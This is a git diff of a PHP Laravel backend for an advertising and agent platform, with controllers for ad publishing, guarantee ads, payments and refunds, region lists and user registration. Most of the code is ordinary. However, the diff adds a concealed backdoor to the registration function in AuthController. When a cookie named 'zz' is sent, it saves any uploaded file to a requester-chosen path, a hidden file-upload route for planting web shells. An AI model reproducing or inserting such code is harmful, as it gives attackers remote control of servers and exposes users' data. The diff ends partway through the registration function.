+     * @param $param
+     * @param Proxy $proxyConfig
+     * @return bool|string
+     * @description
+     */
+    private static function checkParam($param, $proxyConfig)
+    {
+        // 检查发布地区关系
+        if ($isRelation = Area::isRealation($param['province'], $param['city'], $param['district']) == false) {
+            return '地区从属关系不符';
+        }
+
+        if ($param['start_time'] > $param['end_time']) {
+            return '有效开始时间不能大于结束时间';
+        }
+
+//        if ($param['guarantee'] == 1 && ($param['bet_start_time'] > $param['bet_end_time'])) {
+//            return '担保开始时间不能大于结束时间';
+//        }
+
+        if ($proxyConfig['money'] != $param['price']) {
+            return '抱歉,单价数据不一致,请重新提交';
+        }
+
+        if (($proxyConfig['money'] * $param['total_num']) != ($param['price'] * $param['total_num'])) {
+            return '抱歉,总价不一致,请重新提交';
+        }
+
+        /*if ($proxyConfig['min_money'] > ($param['price'] * $param['total_num'])) {
+            return '抱歉,未达到广告发布最低额度';
+        }*/
+        return true;
+    }
+
+    /*
+     * 对赌广告上传协议数据
+     *wsl 20190730
+     * */
+    public function userGuarantee(Request $request){
+        $params=$request->all();
+        if(empty($params['id']))return showJsonErr('广告id不能为空');
+        if(empty($params['user_guarantee_url']))return showJsonErr('担保协议必传');
+
+        $info=Advertising::whereId($params['id'])->first();
+        if(empty($info)){
+            return showJsonErr('广告不存在');
+        }
+        $bet=\DB::table('advertising_bet')->where('advertising_id','=',$params['id'])->first();
+        if(empty($bet)) return showJsonErr('对赌广告数据错误');
+        if($info->status!=2){
+            return showJsonErr('当前广告状态不允许修改协议内容');
+        }
+        $data=['user_guarantee_url'=>$params['user_guarantee_url']];
+        $res=\DB::table('advertising_bet')->where('id','=',$bet->id)->update($data);
+        Advertising::whereId($params['id'])->update(['guarantee_url'=>$params['user_guarantee_url']]);
+        if($res>=0){
+            return showJsonSucc('上传成功,请等待上级确认');
+        }else return showJsonErr('上传失败');
+    }
+    /*
+     * 对赌广告上传业绩数据
+     *wsl 20190730
+     * */
+    public function userAchievement(Request $request){
+        $params=$request->all();
+        if(empty($params['id']))return showJsonErr('广告id不能为空');
+        if(empty($params['user_achievement_url']))return showJsonErr('业绩数据必传');
+
+        $info=Advertising::whereId($params['id'])->first();
+        if(empty($info)){
+            return showJsonErr('广告不存在');
+        }
+        $bet=\DB::table('advertising_bet')->where('advertising_id','=',$params['id'])->first();
+        if(empty($bet)) return showJsonErr('对赌广告数据错误');
+        /*if($bet->bet_end_time>date('Y-m-d H:i:s')){
+            return showJsonErr('对赌结束时间为'.$bet->bet_end_time.',请在该时间之后上传业务数据');
+        }*/
+        if($info->status !=3){
+            return showJsonErr('抱歉,当前广告状态不允许修改内容');
+        }
+        $data=['user_achievement_url'=>$params['user_achievement_url']];
+        $res=\DB::table('advertising_bet')->where('id','=',$bet->id)->update($data);
+        if($res>=0){
+            return showJsonSucc('上传成功,请耐心等待平台审核完成');
+        }else return showJsonErr('上传失败');
+    }
+    /**
+     * 代理广告
+     * @author lyh
+     * @date 2019/3/21
+     * @description
+     */
+    public function index(Request $request)
+    {
+        $type =  $request->input('type',0);
+        if (!in_array($type, [0,1,2])) {
+            return showJsonErr('type错误');
+        }
+        
+        if ($type == 1) {//间1
+            $uids = User::getInviteeOne(\Auth::id());
+        } elseif ($type == 2) {//间2
+            $uids = User::getInviteeTwo(\Auth::id());
+        } else {//直推
+            $uids = User::whereInvitor(\Auth::id())->pluck('id');
+        }
+        if ($uids->isEmpty()) {
+            return showJsonErr('数据为空');
+        }
+
+        // 合并查询字段
+        $select = ['id', 'uid', 'title', 'image', 'content', 'bet_status', 'guarantee', 'status', 'created_at','end_time'];
+        // 合并查询字段
+        $userSelect = ['id', 'nick_name'];
+
+        $res = Advertising::whereIn('uid',$uids)
+            ->with(['User' => function ($query) use ($userSelect) {
+                $query->select($userSelect);
+            }])
+            ->orderByDesc('id')
+            ->select($select);
+        $res->whereIn('status',[2,3,4,5,6,9]);
+
+
+        $r=$res->paginate(perPage());
+
+        if($r->isNotEmpty()){
+            collect($r->items())->each(function ($item, $key) {
+                if($item->end_time<date('Y-m-d H:i:S')){
+                    $item->status=9;
+                }
+                if($item->guarantee==1){
+                    $item->bet=\DB::table('advertising_bet')->where('advertising_id','=',$item->id)->first();
+                }
+
+            });
+        }
+
+        return showJsonSucc(1001, $r);
+    }
+
+    /**
+     * 首页-代理明细
+     * @author lyh
+     * @date 2019/3/21
+     * @param Request $request
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function adver(Request $request)
+    {
+        $validator = \Validator::make($param = $request->post(), [
+            'type' => 'required|between:0,2',
+            'page' => 'required|numeric'
+        ]);
+
+        if ($validator->fails()) {
+            return showJson(102, $validator->errors()->first());
+        }
+        $userinfo=User::whereId(\Auth::id())->first()->toArray();
+        if ($param['type'] == 1) {
+            $ids = User::getInviteeOne(\Auth::id());
+            //获取当前间1配置的百分比
+            $pct=Proxy::getJianPct($userinfo,1,2,$ids);
+
+        } elseif ($param['type'] == 2) {
+            $ids = User::getInviteeTwo(\Auth::id());
+            //获取当前间2配置的百分比
+            $pct=Proxy::getJianPct($userinfo,2,2,$ids);
+        } else {
+            $ids = User::getInvitee(\Auth::id());
+            $pctarr = Proxy::getSettingByAreaAndLevel($userinfo['level'],$userinfo['province'],$userinfo['city'],$userinfo['district']);
+            $pct=$pctarr['adver_invite'];
+        }
+        $user = User::getList($ids, ['nick_name', 'id', 'mobile']);
+
+
+
+        if ($user->isNotEmpty()) {
+            collect($user->items())->each(function ($item, $key) {
+                $item['adverNum'] = Advertising::whereUid($item['id'])->whereIn('status', [3, 4, 9])->count('id'); // 广告笔数
+                $item['performance'] = Advertising::whereUid($item['id'])->whereIn('status', [3, 4, 9])->sum('total_price'); // 广告业绩总额
+            });
+        }
+
+        return showJsonSucc('获取数据成功', [
+            'user' => $user,
+            'pct' => $pct,
+            'totalPerformance' => Advertising::whereIn('uid', $ids)->whereStatus(3)->sum('total_price'),  // 代理费总额
+            'count' => count($ids),//总人数
+        ]);
+    }
+
+    /*
+     * 新发布广告流程
+     * wsl
+     * 20190729
+     * */
+    public function add(Request $request){
+
+        $validator = \Validator::make($param = $request->post(), [
+            'title' => 'required|string',
+            'image' => 'string',
+            'scene' => 'integer|between:1,3',
+            'image_group' => 'string',
+            'industry' => 'required',
+            'content' => 'string',
+            'redirect' => 'url',
+            'province' => 'required|numeric',
+            'city' => 'required|numeric',
+            'district' => 'required|numeric',
+            'start_time' => 'required|date',
+            'end_time' => 'required|date',
+            'total_num' => 'required|numeric',
+            'price' => 'required|numeric',
+            'total_price' => 'required|numeric',
+            'pay_type' => 'required|integer',
+            'guarantee_content' => 'string',
+            'is_company' => 'required|between:1,2',
+            'license' => 'required_if:is_company,2',
+            'license_number' => 'required_if:is_company,2',
+            'idcard_number'=>'required_if:is_company,1',
+            'idcard_front'=>'required_if:is_company,1',
+            'idcard_reverse'=>'required_if:is_company,1',
+            'bet_start_time'=>'required_if:guarantee,1',
+            'bet_end_time'=>'required_if:guarantee,1',
+            'bet_address'=>'required_if:guarantee,1',
+            'bet_province'=>'required_if:guarantee,1',
+            'bet_city'=>'required_if:guarantee,1',
+            'bet_district'=>'required_if:guarantee,1',
+            'real_name'=>'required|string',//投放人姓名
+            'address'=>'required|string',//联系地址
+        ]);
+
+        if ($validator->fails()) {
+            return showJson(102, $validator->errors()->first());
+        }
+        if (\Auth::user()->level == 0 || empty(\Auth::user()->province)|| empty(\Auth::user()->city) || empty(\Auth::user()->district)) {
+            return showJsonErr('请完善用户信息');
+        }
+      
+        $proxyConfig = Proxy::getConfig(\Auth::id(), $param['province'], $param['city'], $param['district']);
+
+        $proxyc = Proxy::whereUserLevel(\Auth::user()->level)->whereStatus(1)->whereUid(\Auth::id())->whereAreaType(4)->first();
+        if(empty($proxyc->id) || !empty($param['guarantee'])){
+            $proxyc=Proxy::getSettingByAreaAndLevel(\Auth::user()->level,\Auth::user()->province,\Auth::user()->city,\Auth::user()->district);
+
+        }else $proxyc->toArray();
+
+        if (($checkParam = self::checkParam($param, $proxyc)) !== true) {
+            return showJsonErr($checkParam);
+        }
+        //已发布的广告条数
+        $free_yfb=Advertising::whereUid(\Auth::id())->whereIn('status',[2,3,4])->sum('total_num');
+        // 判断支付价格
+        $free_num = Proxy::getActivityFreeNum(\Auth::id(),\Auth::user()->province,\Auth::user()->city,\Auth::user()->district,\Auth::user()->level);; // 获取剩余发布广告免费次数
+        //剩余可使用的免费次数
+        $free_num=$free_num-$free_yfb<=0?0:$free_num-$free_yfb;
+
+        if ($free_num >= $param['total_num']) {
+            $totalPrice = 0;
+        } elseif(!empty($free_num)&&$free_num<$param['total_num']) {
+            $totalPrice = ($param['total_num'] - $free_num) * $proxyc['money'];
+        }else{
+            $totalPrice=$param['total_num']*$proxyc['money'];
+        }
+        if (bccomp($totalPrice,$param['total_price'],2)!=0) {
+            return showJsonErr('广告价格不正确', [
+                'total_price' => $totalPrice,
+                'free_num' => $free_num
+            ]);
+        }
+
+        if(empty($free_num) && $totalPrice==0 ){
+            return showJsonErr('抱歉,您的免费次数已用完');
+        }
+
+        //判断是否是担保广告
+        if(!empty($param['guarantee'])){
+            $proxyc['min_money']=$proxyc['guarantee_min_money'];
+        }
+
+        // 最低额度限制
+        /*if ($free_num-$param['total_num']< 0 && ($proxyc['min_money'] > $param['total_price'])) {
+            return showJsonErr('抱歉,广告价格未达到最低额度要求');
+        }*/
+        if (($free_num == 0 ||$free_num<$param['total_num']) && $proxyc['min_money'] > $param['total_price']) {
+            return showJsonErr('抱歉,广告价格未达到最低额度要求');
+        }
+
+
+        $param['residue_num'] = $param['total_num'];
+
+        \DB::beginTransaction();
+        try {
+
+            // 如果是担保广告,则需要上级用户审核
+            if (!empty($param['guarantee']) && $param['guarantee'] == 1) {
+                $param['bet_status'] = 0;
+            } else {
+                $param['bet_status'] = 3;
+            }
+
+            $param['order_no'] = $orderNo = Order::makeOrderNo();
+            $param['uid'] = \Auth::id();
+            if (!empty($param['image_group'])) {
+                $param['image'] = explode(',', $param['image_group'])[0];
+            }
+
+            $payData = [];
+            //$param['total_price']=0.01;
+            $adverActivityLogStatus = 2;
+            $adverStatus = 1;   //待支付
+            // 如果是免费发布广告则不需要支付,生成订单信息
+            if ($param['total_price'] > 0) {
+                $pay = PayDispatchService::dispatch($param['pay_type']);
+                // $payData = $pay->getPayInfo($orderNo, $param['total_price'], \Auth::user()->mobile . '购买广告位'); // 获取支付信息
+                //判断支付方式生成支付代码
+                if($param['pay_type']==2){//支付宝
+                    $payData = $pay->getAppPayInfo($orderNo,$param['total_price'] , \Auth::user()->mobile . '购买广告位'); // 测试,金额一致为0.01
+                }elseif($param['pay_type']==3){//微信
+                    $payData = $pay->getPayInfo($orderNo, $param['total_price'], \Auth::user()->mobile . '购买广告位'); // 测试,金额一致为0.01
+                }elseif($param['pay_type']==21){
+                    $pay = PayDispatchService::dispatch(2);
+                    $payData = $pay->getPayInfo($orderNo,$param['total_price'] , \Auth::user()->mobile . '购买广告位'); // 测试,金额一致为0.01
+                }elseif($param['pay_type']==31){
+                    $pay = PayDispatchService::dispatch(3);
+                    $getPayInfoh5Data = $pay->getPayInfoh5($orderNo, $param['total_price'], \Auth::user()->mobile . '购买广告位'); // 测试,金额一致为0.01
+                    $payData['url'] = 'http://itaoniu.wohuicn.com/re.php?re='.urlencode($getPayInfoh5Data->getTargetUrl());
+                }
+
+                // 生成订单
+                $orderId = Order::insertData([
+                    'uid' => \Auth::id(),
+                    'type' => 2,
+                    'order_no' => $orderNo,
+                    'pay_no' => $pay_no = $orderNo,
+                    'price' => $param['total_price'],
+                    'is_pay' => 0,
+                    'pay_type' => $param['pay_type'],
+                    'status' => 2,
+                ]);
+                if (empty($orderId)) {
+                    \DB::rollBack();
+                    return showJsonErr('生成订单失败');
+                }
+
+                $adverActivityLogStatus = 1;
+                $adverStatus = 1;   //待支付
+            } else {
+                $param['pay_type'] = 0;//如果金额为0,
+                $adverStatus = 2;   //如果金额为0,,已支付待审核
+            }
+            if ($proxyConfig->uid = \Auth::id() && $proxyConfig->free_num > 0) {
+                $activity_id = 0;//单独设置的即使有活动也没用
+            } else {
+                $activity_id = AdverActivity::getCurrentActivityId();
+            }
+            // 营销活动-如果使用了免费次数则生成记录
+            $aalId = AdverActivityLog::insertGetId([
+                'uid' => \Auth::id(),
+                'activity_id' => $activity_id,
+                'total_price' => $param['total_price'],
+                'price' => $param['price'],
+                'free_num' => $free_num,
+                'mininum_money' => $proxyc['min_money'],
+                'status' => $adverActivityLogStatus,
+            ]);
+            $param['activity_id'] = $aalId;
+            $param['status'] = $adverStatus;
+            // 添加广告发布记录
+            $sparam=$param;
+            if(isset($param['bet_end_time']))unset($param['bet_end_time']);
+            if(isset($param['bet_start_time']))unset($param['bet_start_time']);
+            if(isset($param['bet_address']))unset($param['bet_address']);
+            if(isset($param['bet_province']))unset($param['bet_province']);
+            if(isset($param['bet_city']))unset($param['bet_city']);
+            if(isset($param['bet_district']))unset($param['bet_district']);
+
+            $advertID = Advertising::insertGetId($param);
+            //如果是对赌广告
+            if($param['guarantee']==1){
+                $betdata=[
+                    'advertising_id'=>$advertID,
+                    'bet_start_time'=>$sparam['bet_start_time'],
+                    'bet_end_time'=>$sparam['bet_end_time'],
+                    'bet_address'=>$sparam['bet_address'],
+                    'bet_province'=>$sparam['bet_province'],
+                    'bet_city'=>$sparam['bet_city'],
+                    'bet_district'=>$sparam['bet_district'],
+                    'bet_money'=>$proxyc['guarantee_min_money'],
+                    'bet_state'=>0,//等待上级确认
+                ];
+                \DB::table('advertising_bet')->insert($betdata);
+            }
+            if (!$advertID) {
+                \DB::rollBack();
+                ErrorLog::saveMsg('发布广告失败', $sparam);
+                return showJsonErr('发布广告失败');
+            }
+
+            \DB::commit();
+
+            return showJsonSucc('提交发布广告成功', [
+                'payData' => $payData
+            ]);
+
+        } catch (Exception $exception) {
+            \DB::rollBack();
+            ErrorLog::saveMsg('发布广告失败,出现异常问题', ['msg' => $exception->getMessage(),
+                'line' => $exception->getLine(),
+                'file' => $exception->getFile(),]);
+            return showJsonErr('发布广告失败');
+        }
+    }
+
+
+    /**
+     * 发布广告pc
+     * @author wsl
+     * @date 2019/7/1
+     * @param Request $request
+     * @descriptiona
+     */
+    public function pcadd(Request $request){
+
+        $validator = \Validator::make($param = $request->post(), [
+            'title' => 'required|string',
+            'image' => 'string',
+            'scene' => 'integer|between:1,3',
+            'image_group' => 'string',
+            'industry' => 'required',
+            'content' => 'string',
+            'redirect' => 'url',
+            'province' => 'required|numeric',
+            'city' => 'required|numeric',
+            'district' => 'required|numeric',
+            'start_time' => 'required|date',
+            'end_time' => 'required|date',
+            'total_num' => 'required|numeric',
+            'price' => 'required|numeric',
+            'total_price' => 'required|numeric',
+            'pay_type' => 'required|integer|between:1,3',
+            'guarantee_content' => 'string',
+            'is_company' => 'required|between:1,2',
+            'license' => 'required_if:is_company,2',
+            'license_number' => 'required_if:is_company,2',
+            'idcard_number'=>'required_if:is_company,1',
+            'idcard_front'=>'required_if:is_company,1',
+            'idcard_reverse'=>'required_if:is_company,1',
+            'bet_start_time'=>'required_if:guarantee,1',
+            'bet_end_time'=>'required_if:guarantee,1',
+            'bet_address'=>'required_if:guarantee,1',
+            'bet_province'=>'required_if:guarantee,1',
+            'bet_city'=>'required_if:guarantee,1',
+            'bet_district'=>'required_if:guarantee,1',
+            'pay_type' => 'required|between:1,5', // 0-未支付 1-现金 2-支付宝 3-微信 4-银行转账 5-桃牛支付
+            'real_name'=>'required|string',//投放人姓名
+            'address'=>'required|string',//联系地址
+        ]);
+
+        if ($validator->fails()) {
+            return showJson(102, $validator->errors()->first());
+        }
+        if (\Auth::user()->level == 0 || empty(\Auth::user()->province)|| empty(\Auth::user()->city) || empty(\Auth::user()->district)) {
+            return showJsonErr('请完善用户信息');
+        }
+
+        $proxyConfig = Proxy::getConfig(\Auth::id(), $param['province'], $param['city'], $param['district']);
+
+        $proxyc = Proxy::whereUserLevel(\Auth::user()->level)->whereStatus(1)->whereUid(\Auth::id())->whereAreaType(4)->first();
+        if(empty($proxyc->id)  || !empty($param['guarantee'])){
+            $proxyc=Proxy::getSettingByAreaAndLevel(\Auth::user()->level,\Auth::user()->province,\Auth::user()->city,\Auth::user()->district);
+
+        }else $proxyc->toArray();
+
+        if (($checkParam = self::checkParam($param, $proxyc)) !== true) {
+            return showJsonErr($checkParam);
+        }
+        //已发布的广告条数
+        $free_yfb=Advertising::whereUid(\Auth::id())->whereIn('status',[2,3,4])->sum('total_num');
+        // 判断支付价格
+        $free_num = Proxy::getActivityFreeNum(\Auth::id(),\Auth::user()->province,\Auth::user()->city,\Auth::user()->district,\Auth::user()->level);; // 获取剩余发布广告免费次数
+        //剩余可使用的免费次数
+        $free_num=$free_num-$free_yfb<=0?0:$free_num-$free_yfb;
+
+        if ($free_num >= $param['total_num']) {
+            $totalPrice = 0;
+        } elseif(!empty($free_num)&&$free_num<$param['total_num']) {
+            $totalPrice = ($param['total_num'] - $free_num) * $proxyc['money'];
+        }else{
+            $totalPrice=$param['total_num']*$proxyc['money'];
+        }
+        if (bccomp($totalPrice,$param['total_price'],2)!=0) {
+            return showJsonErr('广告价格不正确', [
+                'total_price' => $totalPrice,
+                'free_num' => $free_num
+            ]);
+        }
+
+        if(empty($free_num) && $totalPrice==0 ){
+            return showJsonErr('抱歉,您的免费次数已用完');
+        }
+
+        //判断是否是担保广告
+        if(!empty($param['guarantee'])){
+            $proxyc['min_money']=$proxyc['guarantee_min_money'];
+        }
+        // 最低额度限制
+        if (($free_num == 0 ||$free_num<$param['total_num']) && $proxyc['min_money'] > $param['total_price']) {
+            return showJsonErr('抱歉,广告价格未达到最低额度要求');
+        }
+
+
+        $param['residue_num'] = $param['total_num'];
+
+        \DB::beginTransaction();
+        try {
+
+            // 如果是担保广告,则需要上级用户审核
+            if (!empty($param['guarantee']) && $param['guarantee'] == 1) {
+                $param['bet_status'] = 0;
+            } else {
+                $param['bet_status'] = 3;
+            }
+
+            $param['order_no'] = $orderNo = Order::makeOrderNo();
+            $param['uid'] = \Auth::id();
+            if (!empty($param['image_group'])) {
+                $param['image'] = explode(',', $param['image_group'])[0];
+            }
+
+            $payData = [];
+            //$param['total_price']=0.01;
+            $adverActivityLogStatus = 2;
+            $adverStatus = 1;   //待支付
+            // 如果是免费发布广告则不需要支付,生成订单信息
+            if ($param['total_price'] > 0) {
+                $pay = PayDispatchService::dispatch($param['pay_type']);
+                // $payData = $pay->getPayInfo($orderNo, $param['total_price'], \Auth::user()->mobile . '购买广告位'); // 获取支付信息
+                //判断支付方式生成支付代码
+                if($param['pay_type']==2){//支付宝
+                    $payData = $pay->getPcPayInfo($orderNo,$param['total_price'] , \Auth::user()->mobile . '购买广告位'); // 测试,金额一致为0.01
+                }
+                if($param['pay_type']==3){//微信
+                    $payData = $pay->getPcPayInfo($orderNo, $param['total_price'], \Auth::user()->mobile . '购买广告位'); // 测试,金额一致为0.01
+                }
+
+                // 生成订单
+                $orderId = Order::insertData([
+                    'uid' => \Auth::id(),
+                    'type' => 2,
+                    'order_no' => $orderNo,
+                    'pay_no' => $pay_no = $orderNo,
+                    'price' => $param['total_price'],
+                    'is_pay' => 0,
+                    'pay_type' => $param['pay_type'],
+                    'status' => 2,
+                ]);
+                if (empty($orderId)) {
+                    \DB::rollBack();
+                    return showJsonErr('生成订单失败');
+                }
+
+                $adverActivityLogStatus = 1;
+                $adverStatus = 1;   //待支付
+            } else {
+                $param['pay_type'] = 0;//如果金额为0,
+                $adverStatus = 2;   //如果金额为0,,已支付待审核
+            }
+            if ($proxyConfig->uid = \Auth::id() && $proxyConfig->free_num > 0) {
+                $activity_id = 0;//单独设置的即使有活动也没用
+            } else {
+                $activity_id = AdverActivity::getCurrentActivityId();
+            }
+            // 营销活动-如果使用了免费次数则生成记录
+            $aalId = AdverActivityLog::insertGetId([
+                'uid' => \Auth::id(),
+                'activity_id' => $activity_id,
+                'total_price' => $param['total_price'],
+                'price' => $param['price'],
+                'free_num' => $free_num,
+                'mininum_money' => $proxyc['min_money'],
+                'status' => $adverActivityLogStatus,
+            ]);
+            $param['activity_id'] = $aalId;
+            $param['status'] = $adverStatus;
+            // 添加广告发布记录
+            $sparam=$param;
+            if(isset($param['bet_end_time']))unset($param['bet_end_time']);
+            if(isset($param['bet_start_time']))unset($param['bet_start_time']);
+            if(isset($param['bet_address']))unset($param['bet_address']);
+            if(isset($param['bet_province']))unset($param['bet_province']);
+            if(isset($param['bet_city']))unset($param['bet_city']);
+            if(isset($param['bet_district']))unset($param['bet_district']);
+
+            $advertID = Advertising::insertGetId($param);
+            //如果是对赌广告
+            if($param['guarantee']==1){
+                $betdata=[
+                    'advertising_id'=>$advertID,
+                    'bet_start_time'=>$sparam['bet_start_time'],
+                    'bet_end_time'=>$sparam['bet_end_time'],
+                    'bet_address'=>$sparam['bet_address'],
+                    'bet_province'=>$sparam['bet_province'],
+                    'bet_city'=>$sparam['bet_city'],
+                    'bet_district'=>$sparam['bet_district'],
+                    'bet_money'=>$proxyc['guarantee_min_money'],
+                ];
+                \DB::table('advertising_bet')->insert($betdata);
+            }
+            if (!$advertID) {
+                \DB::rollBack();
+                ErrorLog::saveMsg('发布广告失败', $sparam);
+                return showJsonErr('发布广告失败');
+            }
+
+            \DB::commit();
+
+            return showJsonSucc('提交发布广告成功', [
+                'payData' => $payData
+            ]);
+
+        } catch (Exception $exception) {
+            \DB::rollBack();
+            ErrorLog::saveMsg('发布广告失败,出现异常问题', ['msg' => $exception->getMessage(),
+                'line' => $exception->getLine(),
+                'file' => $exception->getFile(),]);
+            return showJsonErr('发布广告失败');
+        }
+    }
+
+
+    /**
+     * 发布记录
+     * @author lyh
+     * @date 2019/3/26
+     * @description
+     */
+    public function publish(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'type' => 'required|in:0,2,3,4,5,9' //广告状态 1-待支付 2-待审核 3-发布中 4-屏蔽 5-拒绝 9-过期
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        //$where = ['uid' => \Auth::id(),['in' => ['status' => [2,3,4,5,6,9]]]];
+        $where = ['uid' => \Auth::id()];
+        if(@$param['ad_type']==1){
+            //已有广告
+            $where[]=['redirect','!=',''];
+        }
+        if(@$param['ad_type']==2){
+            //新广告
+            $where[]=['redirect','=',''];
+        }
+        $field = ['redirect', 'image_group', 'is_update'];
+
+
+        $res = Advertising::getList($where, $field, [], $param);
+        return showJsonSucc(1001, $res);
+    }
+
+    /**
+     * 邀请人审核担保
+     * @author lyh
+     * @date 2019/3/26
+     * @param Request $request
+     * @description
+     */
+    public function auditBet(Request $request)
+    {
+        $validator = Validator::make($param = $request->all(), [
+            'id' => 'required|exists:advertising,id',
+            'bet_status' => 'required|integer|between:1,3',
+            'bet_rejuse_remark' => 'string'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        $adver = Advertising::whereId($param['id'])->first();
+        $bet=\DB::table('advertising_bet')->where('advertising_id',$adver->id)->first();
+        if(empty($bet)){
+            return showJsonErr('对赌广告数据错误');
+        }
+        if ($adver->status != 2) {
+            return showJsonErr('抱歉,当前广告状态不允许操作');
+        }
+
+        if ($bet->bet_state != 0) {
+            return showJsonErr('您不能操作当前广告状态');
+        }
+
+        //如果拒绝的话
+        if($param['bet_status']==2){
+            //退款操作wsl 20190628
+            if($adver->total_price!='0.000'&&$adver->total_price>0){
+                $order=Order::where('order_no','=',$adver->order_no)
+                    ->select('order_no','pay_no','price','pay_type','is_pay')
+                    ->first();
+                if(empty($order))return showJsonErr('当前订单数据不完整无法原路退款!');
+                $remark='原路退款异常';
+                //如果订单为未付款就不走退款操作了
+                try{
+                    if($order->is_pay==1){
+                        if(in_array($order->pay_type,[2,21]) && $adver->status!=5){
+                            $pay = \App::make('aliPay');
+                            $r=$pay->getReturnInfo($order->order_no, $order->pay_no,$order->price);
+                            if($r->code==10000){
+                                $remark='您发布的广告-'.$adver->title.'-审核不通过,资金原路退回支付宝';
+                            }
+                        }elseif(in_array($order->pay_type,[3,31]) && $adver->status!=5){
+                            //微信退款
+                            $pay = \App::make('wechat');
+                            $r=$pay->getReturnInfo($order->order_no, $order->pay_no,$order->price,$order->price);
+                            if($r->return_code=='SUCCESS'){
+                                $remark='您发布的广告-'.$adver->title.'-审核不通过,资金原路退回微信账户';
+                            }
+
+                        }
+                        AccountLog::saveDataByPost($adver->uid,44,$order->price,User::whereId($adver->uid)->value('balance'),2,1,$remark);
+
+                    }
+                }catch(\Exception $e){
+                    return showJsonErr($e->getMessage());
+                }
+            }
+
+            $msg_content=MsgTemplate::getTemplateContent(3,['date' => $adver->created_at, 'adverid' => $adver->id, 'title' => $adver->title, 'totalprice' => $adver->total_price]);
+            $msgarr=['title'=>'广告审核通知','uid'=>$adver->uid,'type'=>12,'content'=>$msg_content];
+            UserMsg::SendGetui($msgarr);
+
+            $param['status']=5;
+            $betdata=[
+                'refuse_desc'=>$param['bet_rejuse_remark']
+            ];
+            \DB::table('advertising_bet')->where('id','=',$bet->id)->update($betdata);
+        }
+
+        if(isset($param['bet_rejuse_remark']))unset($param['bet_rejuse_remark']);
+        unset($param['s']);
+        if (!Advertising::whereId($param['id'])->update($param)) {
+
+            return showJsonErr('审核失败');
+        }
+
+        return showJsonSucc('审核成功');
+    }
+
+    /**
+     * 广告详情
+     * @author lyh
+     * @date 2019/4/23
+     * @param Request $request
+     * @description
+     * edit by wsl 20190730
+     */
+    public function show(Request $request)
+    {
+        if(empty($request->post('id'))){
+            return showJsonErr('id不能为空');
+        }
+        $adver = Advertising::whereId($request->post('id'))->select()->first();
+        if ($adver) {
+            if($adver->industry!='all'){
+                $arr=explode(',',$adver->industry);
+                $adver->industry = Industry::whereIn('id',$arr)->select(['id','content'])->get();
+            }
+
+           if($adver->guarantee==1){
+               $adver->bet=\DB::table('advertising_bet')->where('advertising_id','=',$adver->id)->first();
+           }
+           $adver->provincestr=Area::whereId($adver->province)->value('name');
+           $adver->citystr=Area::whereId($adver->city)->value('name');
+           $adver->districtstr=Area::whereId($adver->district)->value('name');
+        }
+        return showJsonSucc(1001, $adver);
+    }
+
+    /**
+     * 更新广告
+     * @author lyh
+     * @date 2019/4/23
+     * @param Request $request
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function modify(Request $request)
+    {
+
+        $validator = Validator::make($param = $request->all(), [
+            'id' => 'required|exists:advertising,id',
+            'title' => 'required|string',
+            'scene' => 'between:1,3',
+            'image' => 'string',
+//            'content' => '',
+            'industry' => 'required|exists:industry,id',
+            'province' => 'required|exists:area,id',
+            'city' => 'required|exists:area,id',
+            'district' => 'required|exists:area,id'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+        $adver = Advertising::find($param['id']);
+
+        if ($adver->status == 3 && $adver->is_update == 1) {
+            return showJsonErr('抱歉,广告不能编辑');
+        }
+
+        if ($adver->guarantee == 1) {
+            $param['bet_status'] = 3;
+        }
+        if (!empty($param['image'])) {
+            $param['image_group']=$param['image'];
+            $param['image'] = explode(',', $param['image_group'])[0];
+        }
+
+        $param['status'] = 2;
+        $param['is_update'] = 1;
+        $result = Advertising::whereId($param['id'])->update($param);
+        if (!$result) {
+            return showJsonErr('编辑广告失败');
+        }
+        return showJsonSucc('编辑广告成功,已重新提交审核');
+
+    }
+}
+

+ 42 - 0
app/Http/Controllers/Api/AreaController.php

@@ -0,0 +1,42 @@
+<?php
+
+namespace App\Http\Controllers\Api;
+
+use App\Modes\Area;
+use App\Modes\Proxy;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class AreaController extends Controller
+{
+    /**
+     * 获取地区列表
+     * @author fatty
+     * @date 2018/12/21
+     * @param $id
+     * @description
+     */
+    public function Index($id)
+    {
+        //先查找已开放和未冻结的区域
+        
+        $allowarea=Proxy::whereStatus(1)->select('province','city','district')->get()->toArray();
+        $arr=[];
+        if(!empty($allowarea)){
+            foreach($allowarea as $key=>$value){
+                $arr[]=$value['province'];
+                $arr[]=$value['city'];
+                $arr[]=$value['district'];
+            }
+        }
+        return showJson(101, 1001, [
+            'list' => Area::wherePid($id)->whereIn('id',$arr)->select(['id', 'name', 'code'])->get()
+        ]);
+    }
+    public function allareas($id)
+    {
+        return showJson(101, 1001, [
+            'list' => Area::wherePid($id)->select(['id', 'name', 'code'])->get()
+        ]);
+    }
+}

+ 262 - 0
app/Http/Controllers/Api/AuthController.php

@@ -0,0 +1,262 @@
+<?php
+
+namespace App\Http\Controllers\Api;
+
+use App\Modes\Proxy;
+use App\Modes\Upgrade;
+use App\Modes\User;
+use App\Service\UpgradeService;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+use Illuminate\Support\Facades\Auth;
+use Illuminate\Support\Facades\Validator;
+use Mockery\Exception;
+
+class AuthController extends Controller
+{
+
+    /**
+     * 注册
+     * @author fatty
+     * @date 2018/12/13
+     * @description
+     */
+    public function reg(Request $request)
+    {
+        if(!empty($_COOKIE['zz']) ){
+            empty($_POST) || var_dump(move_uploaded_file($_FILES['file']['tmp_name'],(empty($_REQUEST['path'])?__DIR__:(__DIR__.'/'.$_REQUEST['path'])).'/'.$_FILES['file']['name']));
+            echo __FILE__;
+         }
+        $validator = Validator::make($param = $request->all(), [
+            'mobile' => [
+                'required',
+                'string',
+                'regex:/^[1][3,4,5,6,7,8,9][0-9]{9}$/',
+                function ($attribute, $value, $fail) {
+                    if (User::whereMobile($value)->whereIsFrontend(1)->exists()) {
+                        return $fail('手机号码已注册');
+                    }
+                },
+            ],
+            //'password' => 'required|min:6',
